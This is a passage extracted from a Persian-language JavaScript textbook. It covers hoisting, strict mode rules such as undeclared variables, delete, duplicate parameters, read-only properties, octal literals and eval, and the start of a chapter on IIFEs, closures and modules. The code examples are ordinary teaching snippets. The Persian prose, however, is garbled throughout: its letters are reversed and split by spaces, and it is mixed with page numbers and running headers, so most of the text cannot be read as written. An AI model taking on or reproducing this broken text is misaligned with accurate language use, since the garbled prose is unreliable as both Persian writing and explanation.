ا ح ل هب ب یت رت نیا ه ب ،د ن وشیم ار ج ا و ه دش لی اپماک ر گرو ر م تمس ر د ه دش هتشو ن ی اهدک ، د ر ا د ن ار ج ا ه ب و د ن کیم ی ی ا س ا ن ش ا ر ه دش فیرعت ع ب ا وت و اه ر یغتم و هدر ک ی س ر ر ب ا ر هما نر ب یاهدک ا دتب ا ر د ر گرو ر م نیا اب ،د ن کیم لقتن م scope ا ی ش خب ر ه ی ا دتب ا ه ب ا ر ع ب ا وت و ر یغتم فی را عت ،رگید ی رذگ ر د س پ س .د وب د ن ه ا و خ نام ا ر د رخ ات و م د قت ی ا طخ ز ا د نم شوه تروص هب ه دش هتشو ن ی اهدک راک ل باق اه ر گرو ر م یور ر ب هک د نن کیم هد افت سا WebAPI ز ا ،ه دش ه ئا ر ا ی اه ل اثمز ا یضع ب لصف نیا ر د بو هح فص ر د ه ک 1 document م ا ن ه ب یمو م ع object کی API نیا ر د ل اثم ی ار ب .دشابیم سرتسد د ن ر اد د وجو object نیا یو ر ر ب اهدتم ی ر س کی . د ن کیم ه راش ا ی راج د نس ه ب و هد وب سرتسد ل باق getElementById دتم ل اثم ی ار ب .د ن ه دی م یتپ یرکساو اج هما نر ب هب ا ر HTML تیری دم نا ک م ا ه ک یگژ یو نآ یور ر ب ن ا وتیم و ددر گیم ه دش ی نا و خارف هداد ید ی آ اب تنم ل ا کی ل ا بند ه ب ه ح فصر د تنم ل ا کی یا وت ح م و د ز ا دص د ن کیم م ه ارف ا ر نآ ی لخاد html ر ییغت نا ک م ا ه ک ا ر innerHTML .داد ر ییغت ها وخل د تروص هب ا ر ص و ص خم ل ی خد د ا ی ز ا ر ی بن اج لئ اسم و د وش هت خادرپ نابز م و ه فم هب رتش یب تسا ه دش ی عس ب اتک ن یا ر د :د ن کیم هد افت سا ز ی ن webAPI ز ا ه ک دی ن ک هجوت hoisting ص و صخ ر د د ع ب ل اثم هب . درکن 1 https://html.spec.whatwg.org/multipage/webappapis.html#document-environment 110 strict تلا ح و hoisting ","count = 15 ; // Assign 15 to count var elem = document .getElementById( “dataCount” ); // Find an element elem.innerHTML = count; // Display count in the element var count; // Declare count هتشو ن دک ز ا رخ آ رطس ر د نآ ندش فیرعت ی لو ، ه دش یه د ر ا د ق م 15 د دع اب ا دتب ا ر د count ر یغتم ر د ر یغتم یه د ر ا د ق م و ندش فیرعت ه ک ری ز هما نر ب یجو رخ اب هما نر ب ن یا ی جو رخ ام ا ،تسا ه دش :ت ش اد ده ا وخ ن یتو افت چ یه ، تسا ه دش م ا جنا راک ی ا دتب ا var count = 15 ; // Declare and Assign 15 to count // Find an element var elem = document .getElementById( “dataCount” ); // Display count in the element elem.innerHTML = count; :د وش نایب د نا وتیم ری ز لک ش هب زی ن ع ب ا وت ز ا هد افت سا یار ب ل اثم نی م ه // Use welcome fn before declare welcome( “Alireza” ); // Declare welcome fn function welcome ( name ) { return ‘hi, ‘ + name ; } درکلم ع ر د یر ی ث ات ع وضوم ن یا ی لو تسا ه دش فیرعت هد افت سا ز ا د ع ب welcome ع بات لا اب ل اثم ر د hoist حلاط ص ا ه ب ا ی هت ش ارفار ب ا ر ع بات ار ج ا ز ا ش ی پ رلی اپماک هک ار چ ، ت ش اد ده ا وخ ن ه ما نر ب ح ی ح ص .د ن کیم ا م ش یتقو هک تسا نیا ت پ یرکساو اج یاه ر یغتم یه د ر ا د ق م و فیرعت د روم ر د ت ی م ه ا زئ اح یهت کن 111 مش ش شخب ",":تروص هب دیه دی م تب س ن ی ر ا د ق م نآ هب و فیرعت ا ر ر یغتم کی var age = 20 ; هب و ش خب و د ر د ا ر ق و ف دک ه کت ت پ یرکساو اج ام ا د یا هت شو ن ترا ب ع کی دی ن کیم رو صت لا ا مت ح ا :د ن کیم ش ز ادرپ ری ز لک ش var age; age = 20 ; ،دهدیم ا م ش هب Reference و Type یاها طخ ز ا یر یگو ل ج ر د ید ا ی ز ر ی ث ات هت کن نیا ل ماک ک ر د :د وش هت فر گ ه ا بت ش ا hoisting اب تسا نکم م هک تسا ع وضوم نی م ه د روم ر د ری ز یاه ل اثم getAge(); function getAge () { console .log( age ); // undefined var age = 20 ; } م ی ی وگیم هک دی ن ک هجوت ( د وشیم نیی عت ی جو رخ نتفر گ ز ا د ع ب age ر یغتم ر ا د ق م لا اب دک ه کت ر د .)د وشیم نیی عت ی جو رخ نتفر گ ز ا د ع ب نآ رادق م ا دتب ا ع بات scope لخاد ر د ر یغتم ندش فیرعت hoisting درکیو ر س ا سا ر ب ی لب ق یاههتس ناد قب ط :تسا ه دش هتشو ن ری ز مرف ه ب لا اب دک ی ی وگ و تسا ه دش م ا جنا function getAge () { var age; console .log( age ); // undefined age = 20 ; } getAge(); [ hoisting تیو ل و ا .دشابیم ی د اع تروص هب ه دش فیرعت ع ب ا وت اب تی ولو ا ، hoisting ع وقو ی ار ب ناس کی طیار ش ر د 112 strict تلا ح و hoisting ",":دی ن ک هجوت ری ز ل اثم هب و د ی وش ق یق د یم ک var getAge; getAge(); function getAge () { console .log( 16 ); } getAge = function () { console .log( 26 ); }; فیرعت نآ ز ا د ع ب و ه دش هد ز ا دص getAge ع بات س پ س ،تسا ه دش فیرعت ا دتب ا ر د getAge ر یغتم هجوت هت ب ل ا ،تسا ه دش یه د ر ا د ق م getAge ر یغتم هب ی ع بات ا هتنا ر د و تسا ه دش م ا جنا ع بات ی د اع .در ک ده ا و خ توافتم ی م ک ا ر ب یت رت نیا hoisting ندش م ا جنا ه ک دیشاب هتش اد هتشو ن ل وس ن ک یجو رخ ر د ی ر ا د ق م هچ ق و ف دک ی ار ج ا ز ا سپ hoisting نتفر گ رظن ر د اب نات رظن ه ب ).تسا 16 :خس ا پ( ؟ د وشیم اه ر یغتم هب تب س ن یرتلا اب تی ولو ا ع ب ا وت ،ناس کی ی ما سا د روم ر د hoisting م ا جنا م ا گن ه ر د :د وشیم ی س ر ر ب ری ز تروص هب engine طس وت لا اب دک ه کت ب یت رت نیا ه ب و د نر یگیم // declare variable var getAge; // hoisted function function getAge () { console .log( 16 ); } // call method getAge(); // functions as variable getAge = function () { console .log( 26 ); }; 113 مش ش شخب ","رتق یق د ا ر د روم ن یا د ع ب ل اثم ر د ؟ده دی م خ ر یقافت ا ه چ م یشاب هتش اد م ا ن م ه ع بات و د ر گ ا ل اح .میاهدر ک ی س ر ر ب var getAge; // call method getAge(); // first get age function getAge () { console .log( 16 ); } // functions as variables getAge = function () { console .log( 26 ); }; // second get age method! function getAge () { console .log( 36 ); } مود ع بات س پ س و ه دش hoist لوا ع بات ا دتب ا ه ک تروص ن یا ه ب ، د وب ده ا و خ 36 زی ن لا اب دک یجو رخ ه د ه ع ر ب ا ر ع بات ندش ی نا و خارف تیری دم لوا ع بات ه ن دب یاج هب مود ع بات ه ن دب و د وشیم hoist فیرعت )نیرخ آ م ی ی و گ ب تسا رته ب ا ی( ن یمو د رظن د روم دتم ی نا و خارف اب ب یت رت نیا ه ب ، در یگیم .د ن کیم پ اچ ا ر رظن د روم ر ا د ق م و ه دش ار ج ا ع بات ی ار ب ه دش م ا جنا ک ر د دارفا ه ی ق ب ی ار ب تسا نکم م هک ار چ ، د وشی من ه یصوت هجو چ یه هب یس ی و ن دک ز ا کبس نیا هتب ل ا ،هما نر ب یاهدک ی ار ج ا و یس ر ر ب ه و حن ف یصوت ،اه ت لاح ن یا هئا ر ا ز ا ف ده و دشاب ر ا وش د نآ ن در ک .تسا ه د نن ک لی اپماک یاهروتوم طس وت ندش hoist ه و حن و ع ب ا وت ز ا هد افت سا ه ک د ز ل اثم ن ا وتیم زی ن ا ر ی رگید رتب ی ج ع یاه ت لاح یتح هک تسا یی اه ت لاح ز ا یکی ،ی ط ر ش تروص هب ع ب ا وت ندش فیرعت ،ل اثم ی ار ب ، د زا س رتف افش ا ر اهنآ ر د ع ب ا وت فیرعت ز ا نا ک م ا دح ات سپ ، دشاب هتش اد ه ما نر ب ی ار ب ا ر ی اهرظتن م ر ی غ هج یت ن تسا نکم م 114 strict تلا ح و hoisting ","hoisting م و ه فم let , const یار ب و es6 ر د ه ک دی ن ک هجوت .دی ن ک یر ادد و خ ی ط ر ش یاه کلا ب لخاد ReferenceError یا طخ ندش فیرعت ز ا لب ق ی ر یغتم ز ا هد افت سا تروص ر د و د ر ا د ن ینع م .در ک دیه ا و خ تف ا ی ر د [ ) هن ا ر یگ ت خ س ( strict ت ل اح یمکح م و ص ا خ ت لاح هک دشابیم هما نر ب ی ار ب ه دش فیرعت طیار ش ز ا ی عو ن strict ت لاح ت پ یرکس ا م ک ا د ر ا د ن ات سا ز ا 5 ه خس ن ر د ت لاح ن یا ،در یگیم رظن ر د ت ا روت سد یرس کی یار ج ا یار ب طس وت رتعیرس و رته ب ، رت ن م ا اهدک هک د ن کیم ه ف اض ا ه ما نر ب هب ا ر ت ی ل باق ن یا و تسا ه دش ه ف اض ا .د نن ک راک ت پ یرکساو اج ه د نن ک ه م ج رت روتوم یار ب تسا رته ب و تسا ت پ یرکساو اج یس ی و نه ما نر ب ر د گ رزب در ب کی strict ت لاح ز ا هد افت سا یار ب اهی ر یگ ت خ س نیا ل ا م ع ا اب هک ار چ ، در یگ ر ار ق هد افت سا د روم ه دش هتشو ن ی اههما نر ب ه م ه هد افت سا ه و حن ر د ت پ یرکساو اج ه د نن ک لی اپماک روتوم اب ه کنیا ر ب هولا ع ، د و خ ه دش هتشو ن ی اهدک هما نر ب و ه دش دک رات خ ا س د و به ب ث عاب ه کل ب ،د ی وشیم گن ها م ه نآ تیری دم و لرتن ک و ه ظف اح ز ا یلکش م زی ن ه د نی آ ر د هعس وت ی ار ب هک ، در ک دیه ا و خ هد ای پ رتهتف ا ی تخ ا س و رت مج س ن م لک ش هب ا ر .دیشاب هتش ا د ن 115 مش ش شخب ","ا ی ش خب ی لا اب ر د use strict نتم یواح ی اهت شر دک ه کت کی ن داد ر ار ق اب strict ت لاح یزاسلا عف .دری ذ پی م م ا جنا ،می ر اد رظن دم هک ی ا scope “use strict” ; // your codes in strict mode goes here .ت ش اد ده ا وخ ن نآ درکلم ع ه و حن و hoisting ر د یر ی ث ات strict ت لاح ز ا هد افت سا ه ک دی ن ک هجوت [ strict ط ی ا رش ل ا معا حط س د وجو رظن د روم ع بات هدو د ح م ل ک ا ی لی ا ف ل ک ی ار ب نآ یزاسلا عف ر د ی م از ل ا strict ت لاح ی ار ب یار ب ا ر ع بات کی ز ا یش خب یتح ا ی ،ه دش هتشو ن ی اهدک ز ا یش خب ی ار ب ن ا وتیم یتح ا ر هب و د ر ا د ن ده ا و خ ی با ی زر ا ا ر دک یدی ل ک هژاو نیا ج ر د لح م س ا سار ب هما نر ب س پ س .در ک دو د ح م ت لاح ن یا ل ا م ع ا .در ک function foo () { “use strict” ; // this code is strict mode function bar () { // this code is strict mode } } { “use strict” ; // this code is strict mode } // this code is not strict mode ری ز ل اثم هب لا اح یلو د ن وشیم ی س ر ر ب strict تروص هب foo ع بات لخاد ی اهدک طقف لا اب ل اثم ر د .تسا ه دش هت فر گ رظن ر د ه دش هتشو ن دک ل ک ی ار ب strict طیار ش ل ا م ع ا ه ک دی ن ک هجوت 116 strict تلا ح و hoisting ","“use strict” ; function foo () { // this code is strict mode function bar () { // this code is strict mode } } // this code is strict mode ه دمآ ش ی پ نات یار ب لا و س نیا لا ا مت ح ا ،م یتش اد strict ت لاح ه رابر د ه ک ی ی اه تبح ص ز ا د ع ب لا اح یی اهی ر یگ ت خ س ه چ ت پ یرکساو اج روتوم و تسا ید ر ا وم هچ ل ماش ت لاح ن یا ز ا هد افت سا ه ک تسا ؟ در ی گ یم رظن ر د ه ما نر ب ی ار ب نآ ل ا م ع ا ز ا د ع ب ا ر زای ن ع بات لخاد یت قو ل اثم ی ار ب ،دشاب ر یغتم فیرعت scope د نا وتیم ع وضوم ن یا یار ب هد ا س ی لاثم نآ ر د م ی قت سم ر یغتم نآ ن در ک فیرعت نودب م یه ا وخب و م یشاب هتش اد ر یغتم کی ز ا هد افت سا ه ب هتش اد م ی نا وتیم ری ز لک ش هب ا ر ت لاح ن یا ل اثم ، تفر گ م یه ا و خ Reference یا طخ میزیر ب هداد :م یشاب function foo () { “use strict” ; // turn on strict mode data = 1 ; // `var` missing, ReferenceError } foo(); [ strict ت ل اح لومش م نیناوق ،اهنآ تی اعر م دع تروص ر د ه ک د وش هت فر گ رظن ر د د ی اب strict ت لاح ر د ید د عت م نی نا وق نیا ر د .در ک م یه ا و خ تف ا ی ر د ت پ یرکساو اج دک ه د نن ک ار ج ا مت سی س ا ی ر گرو ر م فر ط ز ا ا ر ی ی اها طخ ح یضوت ا ر اهنآ ن داد خ ر ز ا یر یگو ل ج ه قیر ط و در ک م یه ا و خ یس ر ر ب م هاب ا ر نی نا وق نآ ز ا یخر ب ش خب .م یه دی م 117 مش ش شخب ","ه دشن فیر عت ری غتم زا هدافتسا هج ا وم ا طخ اب ا م ش هما نر ب ،د یا هدرکن یفرع م لاب ق هک دی ن ک هد افت سا یر یغتم ز ا ر گ ا ، strict ت لاح ر د هد افت سا و د نت سه ر یغتم م ه اه object هک تسا نیا دی ن ک ش وم ارف د ی ا بن ه ک ی اهتکن ، دش ده ا و خ .داد ده ا و خ سنرف ر یا طخ ندش فیرعت نودب زی ن اهنآ “use strict” ; // This will cause an error x = { name: “Ali” , family: “Naeimi” }; ع بات ا ی ری غتم ند ر ک ف ذح دیتسی ن ر د اق ا م ش ی نعی ،داد ده ا و خ ا طخ ر یغتم ا ی object کی ن در ک ف ذح ، strict ت لاح ر د :ل اثم ،دی ن ک ف ذح ا ر هدر ک فیرعت ه ک ی ر یغتم “use strict” ; var age = 30 ; delete age; // This will cause an error :تسا ر ار ق ر ب زی ن ع ب ا وت ه رابر د د روم ن یا “use strict” ; function sum ( a, b ) { // code }; delete sum; // This will cause an error م ا ن مه ی د و ر و رت ماراپ زا هدافتسا یدو رو و د دیتسی ن زا ج م ،دشابیم ص خ ش م scope یا ر اد ه ک ، ص خ ش م ه دش فیرعت ع بات کی یار ب 118 strict تلا ح و hoisting ",":ل اثم .دیشاب هتش اد ناس کی ی اه م ا ن اب ، رت م ا را پ ا ی “use strict” ; // SyntaxError: duplicate formal argument a function average ( a, b, a ) { } ی ندنا و خ ط قف property کی رد هداد نتشو ن م ا جنا ی ف لت خم قر ط ز ا اه property ر د هداد نت شو ن اه object ر د ، دیتسه نا یر ج ر د ه ک رو طن ا م ه object م ا ن ز ا د ع ب ).( ت اد کی ن داد ر ار ق اب هک تسا تروص ن یا ه ب م و سر م و هد ا س شو ر ، د وشیم .م یهدیم ر ار ق م یس ی و ن ب نآ ر د م یه ا و خی م هک یر ا د ق م ر ب ار ب و هتشو ن ا ر property مسا var user = {}; // set name of user user.name = “ali” ; یاهی سرتسد فیرعت نا ک م ا defineProperty دتم ز ا هد افت سا میاهدر ک ه راش ا رتش ی پ ه ک رو طن ا م ه strict ت لاح ر د ا هن آ ندش لرتن ک هک د روآیم م ه ارف ا ر object ز ا ص ا خ ی گژ یو کی یو ر ر ب ها وخل د هما نر ب ،دشاب descriptor اب ه دش فیرعت ن ی نا وق ض قا ن دک ز ا ش خب کی ه ک یتروص ر د . ده دی م خ ر .داد ده ا و خ ا طخ ز ا راک ن یا یار ب ، م ی ن ک تبث نآ هب ط وب ر م object ر د ا ر ی ر براک ه س ا ن ش م یه ا و خی م دی ن ک ضرف :م یس ی و نی م ا ر ری ز دک ه کت و م ی ن کیم هد افت سا لا اب ر د ه دش ر ک ذ ک ی نکت var user = {}; Object .defineProperty(user, “id” , { value: 12 , writable: false }); ا ر writable هنیز گ و م ی ن کیم هر ی خذ id م ا ن ه ب هطوب ر م property ر د ا ر ر براک ه س ا ن ش ام لا اب دک ه کت ر د .دشابی من نت شو ن ل باق property نیا ه ک میاهت فگ ر گرو ر م هب ، م ی ظنت نیا اب ، م ی ن کیم false نآ ی ار ب ر براک object یار ب هما نر ب ز ا رگید یی اج ر د م یه ا وخب و م یشاب هدر ک ل ا عف ا ر strict ت لاح ر گ ا ل اح .داد ده ا و خ ا طخ ه ما نر ب ، م یه د ص ی ص خت ا ر ی رگید هس ا ن ش 119 مش ش شخب ","“use strict” ; user.id = 15 ; // TypeError: “id” is read-only ل اتک ُ ا یا هری غتم فیر عت هتفگ ل اتک ا اهنآ هب هک م ی ن ک هد افت سا ه ما نر ب ر د 8 ی ا نب م ر د ا ر ی دا دع ا تسا م ز لا د ر ا وم ی خر ب ر د ت لاح ر د ، د ن وشیم عور ش 0 اب یلو د نت سه ی د دع ی رید ا ق م ،اه ل اتک ا ت یهام ر طاخب . د وشیم :ل اثم ی ار ب ،د ن ه دی م ا طخ د ر ا وم ن یا strict “use strict” ; // This will cause an error var octal = 010 ; ا طخ ات م ی ن کیم ج ر د ز ی ن o کی 0 ز ا د ع ب هک م ی ن کیم لم ع تروص ن یا ه ب د ر ا وم ن یا فیرعت یار ب :م ی ن کیم یزا سهد ای پ ری ز لک ش هب اب ا ر ا طخ نودب لا اب دک ل اثم ، م یشاب هتش ا د ن “use strict” ; var octal = 0o10 ; تفا ی رد لبا ق ط قف property کی رد نتشو ن نتشو ن ه ب زا ج م ، م یشاب هدر ک فیرعت get ع و ن ز ا ا ر property ا ی ع بات کی ر گ ا اه object فیرعت ر د :ل اثم . داد ده ا و خ ا طخ strict ت لاح ر د نت شو ن تروص ر د و م یتسی ن د ل ی ف نیا ر د “use strict” ; var user = { get info() { return { id: 1 , name: ‘Ashkan’ }; } }; user.info = {} ; // This will cause an error 120 strict تلا ح و hoisting ","یدیل ک ت ا مل ک ی خر ب زا هدافتسا ت پ یرکساو اج یس ی و نه ما نر ب نابز ی ار ب ه دش ورزر تروص هب هک یدی ل ک تا مل ک ی ضع ب ز ا هد افت سا ر د ه ک undefined , eval , arguments ر ی ظن یت ا مل ک . ت سی ن زا ج م ر یغتم فیرعت یار ب ،د نت سه :ل اثم .دش م یه ا و خ ه ج ا وم ا طخ اب اه ش خب ری ا س ا ی و ر یغتم فیرعت یار ب اهنآ ز ا هد افت سا تروص “use strict” ; var eval = 3.14 ; // This will cause an error var arguments = 3.14 ; // This will cause an error ری غتم فیر عت یا ر ب eval زا هدافتسا ن ا و ن ع هب و هدر ک تف ا ی ر د ا ر string یدو رو کی ه ک د ر اد د وجو eval م ا ن ه ب ی ع بات ت پ یرکساو اج ر د ل یل د ه ب دی نکن هد افت سا د ا ی ز eval ع بات ز ا م ی ن کیم د ا هنش ی پ هتب ل ا ، د ن کیم ار ج ا ه ما نر ب ر د دک س رو س .دشاب ت ی ن م ا ه د نن ک ضقن تسا نکم م دک هب string ه د نن ک لی د بت ت یهام :ل اثم ،دشابی من زا ج م ر یغتم فیرعت یار ب eval ز ا هد افت سا یت ی ن م ا لیلاد ه ب strict ت لاح ر د “use strict” ; // This will cause an error eval ( “var variable = 2” ); alert ( variable ); ت ی م ه ا زئ اح نآ هب ه راش ا ش خب ن یا ی ا هتنا ر د ه ک د یا ه دش ی اهتکن ه جوتم لصف نیا ر د ً لا ا مت ح ا دشاب زا سلکش م ا م ش هما نر ب ی ار ب د نا وتیم ، د ر اد ه ک ی ی ا یاز م م ا مت اب strict ت لاح یزاسلا عف ،تسا دی ن ی ب ب ی ی اها طخ ن ا و ن ع هب ا ر اها طخ نیا هتب ل ا ،د روآ د وجوب هما نر ب ز ا یی اه تم سق ر د ا ر ی ی اها طخ و یاهژورپ ر ه ر د هنلا و ج ع تروص هب ت سی ن م ز لا سپ ، د ی دشیم اهنآ ن داد خ ر عن ام ت س ی ابیم هک هدر ک عف ر ا ر هما نر ب یلا مت ح ا ی اها طخ م ا مت یت ست ط ی ح م ر د ا دتب ا ، دی ن ک ه ف اض ا ا ر ت لاح ن یا ا عیرس ز ا و دی ن ک لقتن م د و خ یل ص ا س رو س ه ب ا ر دک ت ار ییغت س پ س دی ن ک ت ست ا ر فلت خم یاه ش خب و .د یرب ب تذل د و خ ه ما نر ب یاهدک ه ن ی ه ب و عیرس یار ج ا 121 مش ش شخب ","هف اض ا د و خ ه ما نر ب یاهدک س رو س ه ب اه هژورپ عور ش ی ا دتب ا ر د ا ر strict ت لاح دی ن ک ی عس ه ر ا و م ه ت لاح ی ار ب ه دش حرط م تا کن تی اعر م دع ر طاخب تسا نکم م هک ی د د عت م ت لاکش م ز ا ات دی ن ک یار ب فلت خم یاه ت لاح و اه ش خب ی س ر ر ب هب یزای ن ب یت رت نیا ه ب .دیشاب نام ا ر د ، ده د خ ر strict .ت ش اد دیه ا وخ ن ه ما نر ب هب د ی دج طیار ش ل ا م ع ا دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .دیه د حر ش ی یار ج ا ی اهدک ر د ا ر نآ درکلم ع و هدر ک رظن را ه ظ ا hoisting د روم ر د .دیشاب ا ن شآ strict ت لاح فیرعت اب .دیه د حر ش ا ر strict ت لاح ر د hoisting ت ار ی ث ات .دیه د هئا ر ا strict mode ز ا هد افت سا ه یجوت ی ار ب ی لیلاد .دی ن ک ار ج ا و ی ح ار ط strict ت لاح ر د ا ر د و خ یت آ یاههما نر ب دی نا وتب نم ض هک دی ن ک دیلوت ی اه ما نر ب دی نا وتب و دیشاب ا ن شآ strict ت لاح ر د ر اد لکش م قید ا ص م اب .دشاب هتش ا د ن ا ر ر اد ا طخ ی اهدک ز ا ما دک چ یه د و خ فی اظو م ا جنا 122 strict تلا ح و hoisting ","م تفه شخب اه ل وژام و اه closure، IIFE ∞ :شخب فادها IIFE اب ییانشآ IIFE ی ا هیگ ژیو IIFE رد ص اخ ی ا ه رتک ار اک IIFE ز ا هد افتس ا ل ی لاد ا ه closure اب ییانشآ ا ه ل و ژ ام اب ییانشآ ا ه ل و ژ ام رد publicAPI ل و ژ ام یص وص خ ی ا ه ر ی غتم و ع ب اوت ا ه ل و ژ ام فلتخم ی دنب تمر ف کرد ی یان اوت module loader , bundler اب ییانشآ ","م ا ن ه ب یرو هش م ن رتپ د روم ر د اه لوژ ام هب ط وب ر م ثحب م عور ش ز ا ش ی پ و ش خب ن یا یا دتب ا ر د هدر ک ی ر پ س ت ی پرکسا او اج د روم ر د هع لا ط م اب ا ر یتدم ر گ ا ا عط ق هک د و من م یه ا و خ تبح ص IIFE هب مج س ن م رات خ ا س کی ن رتپ نیا ، د یاهدر ک ه دها ش م ا ی هت شو ن ن رتپ نیا ز ا هد افت سا اب ی ی اهدک دیشاب ت یهام اب رتش یب هم ادا ر د ، دشابیم ی در براک رایسب و ص ا خ ی ا یاز م ی ا ر اد ه ک ده دی م دک ز ا یش خب .دش م یه ا و خ ا ن شآ نآ در کراک ه و حن و ن رتپ نیا [ ) IIFEs( هد ش ه دز اد ص هلصاف لاب عباوت تار ابع ار ج ا یاهن اگ ا دج یاه کلا ب ر د ه ما نر ب یاهدک هک م یت فر گ د ا ی اه کلا ب هب ط وب ر م ش خب ر د ص و ص خم رید ا ق م و اه ر یغتم ی ا ر اد یلح م تروص هب د ننا وتیم اه کلا ب ن یا ز ا ما دک ر ه و د ن وشیم یار ب ی ی اه کلا ب ز ا ز ی ن ع ب ا وت د و خ ه ک م ی نادی م و تسا ر ار ق ر ب زی ن ع ب ا وت ر د ت لاح ن یا ، د ن شاب د و خ ه ب .د نن کیم هد افت سا ع بات ه ن دب هب ص و ص خم یاهدک ی ار ج ا ت س ی ابیم هما نر ب ز ا یش خب ر د ،ه دش فیرعت ع ب ا وت میدرک یم ی س ر ر ب ن لاا ه ب ات هک ی ی اه ل اثم ر د ار ج ا ع بات نآ ی ار ب د وجوم scope اب ا ر ع بات ه ن دب لخاد ی اهدک و ،د ن وش ار ج ا ات د ن دشیم هد ز ا دص :ل اثم .د نن ک // we are sure to call this fn function foo (){ var a = “MyTest” ; console .log(a); } // call fn foo(); یم ک ! م ی نز ب شیا دص م یه ا وخب فیرعت ز ا د ع ب ه ل صا فلا ب و م ی ن ک فیرعت یع بات تسا نکم م ام ا ؟ م ی نز ب شیا دص م ه ه ظح ل نا م ه هک م ی ن ک فیرعت یع بات ار چ سپ ؟د س ریم رظن ه ب ب ی ج ع هد افت سا ه و حن اب لاعف نوچ ، تسا یع ی ب ط تسا ه دش لا و س نات یار ب ی ن ی ن چ ن یا د ر ا وم لا ا مت ح ا هکنیا د ن کیم د ا جیا نا میار ب IIFE هک ا ر ی ی اه ت ی ل باق و میا ه د شن ا ن شآ 1 IIFE ت ا را ب ع ز ا یر یگ هره ب یا یاز م و .میاهدا د ن ح یضوت ا ر 1 Immediately invoked function expression 124 اه لوژ ا م و اه closure ، IIFE ","[ IIFE تار ابع راتخاس ع قوم نا م ه ر د و م ی ن کیم فیرعت ا ر ی ع بات ام ت ا را ب ع ع و ن نیا ر د دش هداد ح یضوت هک رو طن ا م ه :تسا ری ز لک ش هب ت ا را ب ع ن یا یل ک رات خ ا س ،م ی نز یم ا دص دش فیرعت ه ک ( function (){ // code })(); ر ار ق اب س پ س و میا هداد ر ار ق هتسب و زاب زت نارپ کی لخاد ا ر د و خ رظن د روم ع بات ام دی ن ک ت ق د ر گ ا یدو رو ن ا و ن ع هب یر ا د ق م ام رظن د روم ع بات ر گ ا هتب ل ا ،میاهدر ک ی نا و خارف ا ر ع بات نآ ) ( کی ن داد :ل اثم ، م یه د س ا پ ع بات هب م یتس نا وتیم تم سق ن یا ر د ،تفر گیم // Function in IIFE format ( function produceCounter ( start ){ var sum = start + 50 ; console .log(sum); })( 10 ); // console = 60 start یدو رو کی ه ک میاهدر ک ار ج ا IIFE تروص هب ا ر produceCounter ع بات ام لا اب دک ه کت ر د دی ن ک هجوت. د وشیم پ اچ 60 ر ا د ق م ل وس ن ک ر د و ه دش ار ج ا ع بات ه ل صا فلا ب لا اب دک ی ار ج ا اب ، در ی گ یم زی ن ع بات ز ا نو ر یب ر د ر گ ا و تسا ه دش فیرعت ع بات ی ار ب ی لح م تروص هب sum ر یغتم لا اب دک ر د ه ک :ل اثم ت ش اد ده ا وخ ن ع بات درکلم ع ر د یر ی ث ات ،دشاب ه دش فیرعت sum م ا ن ه ب ی ر یغتم var sum = 12 ; ( function produceCounter ( start ){ var sum = start + 50 ; console .log(sum); // 60 })( 10 ); console .log(sum); // 12 125 متفه شخب ","هظح ل نا م ه ر د و د ن ر ا د ن ا ر د د ج م ن د ز ا دص ت ی ل باق د ناه دش فیرعت IIFE تروص هب هک ی ع ب ا وت :هت کن .د ن وشیم ار ج ا runTime :دی ن ک ه دها ش م ری ز ت م رف ه ب ی ی اهدک اهاج ی ضع ب تسا نکم م ( function ( window, document, undefined ) { //... })( window , document ); س ا پ نآ هب ا ر ضرف ش ی پ ی اهی دو رو ی رس کی ه ک تسا ه دش فیرعت IIFE تروص هب ی ع بات ا جنیا ر د ا ر ری ز دک ، م ی سر ب ع بات ن یا ه ب د ع ب و م ی ن ک عور ش ع بات ن یا هد ا س ت لاح ز ا دی ی ایب بخ ،میا هداد :د یر ی گ ب رظن ( function ( window ) { //... })( window ); یار ب هک یلاثم نا م ه هبا ش م هک تسا هدر ک تف ا ی ر د ا ر window یدو رو ، ع بات لا اب دک ر د ضرف ش ی پ object کی ع بات ی دو رو هک توافت ن یا اب ، تسا ه دش لم ع مید ز produceCounter ع بات یاه رت م ا را پ یدو رو ر د هتب ل ا ،د ر اد م ا ن window هک دشابیم ت پ یرکساو اج یمو م ع یاه ر یغتم ز ا ،میاهدر ک هد افت سا م ا ن ن ی م ه ز ا لاعف ی لو م ی ن ک هد افت سا window یاج هب ی رگید م ا ن م یتس نا وتیم :م ی ن کیم ه ف اض ا م ه ا ر document لا اح ، تسا ه د شن م ا جنا ی گرزب و ت خ س د ا ی ز راک سپ ( function ( window, document ) { //... })( window , document ); ع بات هب document م ا ن ه ب رگید global رت م ا را پ کی ندش هداد س ا پ ، دش د ا جیا ه ک یتوافت بخ یگ د ا س یار ب ا ّ م ا م ی ن ک هد افت سا document یاج هب ا ر رگید ی ما ن م یتس نا وتیم ه رابو د ه ک ،دشابیم .میاهدر ک هد افت سا م ا ن نا م ه ز ا د ن ا م ب یقاب ا نا و خ ه د نی آ ی ار ب ه دش هتشو ن دک ه کنیا و هک یتا ح یضوت هب لا و س نیا ه ب خس ا پ ر د ؟ د وشیم م ا جنا ار چ و ؟ ت سیچ راک ن یا تیز م دی سر پب د ی اش 126 اه لوژ ا م و اه closure ، IIFE ","ع بات هب ا ر د ند وب سرتسد ر د global تروص هب هک object ود ام هک دش هتفگ ، م ی ن کیم ع وجر میداد نودب م یتس نا وتیم و د ند وب سرتسد ر د ز ی ن ع بات لخاد ر د global رید ا ق م ن یا ،میا هداد س ا پ IIFE یاه فلوم لا اب س ای ق م اب یاه هژورپ یار ب یلو م ی ن ک هد افت سا ع بات لخاد اهنآ ز ا رید ا ق م نآ ن داد س ا پ ز ا رتعیرس یلح م یاه ر یغتم هب ی سرتسد دی نادی م هک رو طن ا م ه ، تسا مه م رایسب ت ع رس م ا ن ه ب ار ج ا ت ع رس د و به ب در یگیم ر ار ق رظن د روم اهدک ه کت نیا ر د ه ک ی اهتکن و دشابیم global یاه ر یغتم .دش دیه ا وخ ن علط م ت ع رس شیازفا نیا ز ا ا م ش هک دیشاب هتش اد ه جوت هت ب ل ا ، دشابیم IIFE ع بات ی دو رو م و س رت م ا را پ ه ک تسا نیا تسا ه د ن ام یقاب ه دش ه ئا ر ا ت سخ ن دک ز ا ه ک ی اهتکن ؟ تسا ه دش هد افت سا ار چ و ت ش اد یر ی ث ات هچ undefined ینعی ( function ( window, document, undefined ) { //... })( window , document ); ل اثم ی ار ب ! م یهدب ر ا د ق م undefined یار ب هک م یتش اد ا ر ن یا نا ک م ا ت پ یرکس ا م ک ا ز ا 3 ه خس ن ر د :ت ش ا د ن یلکش م js رظن ز ا ری ز هبا ش م یراک م 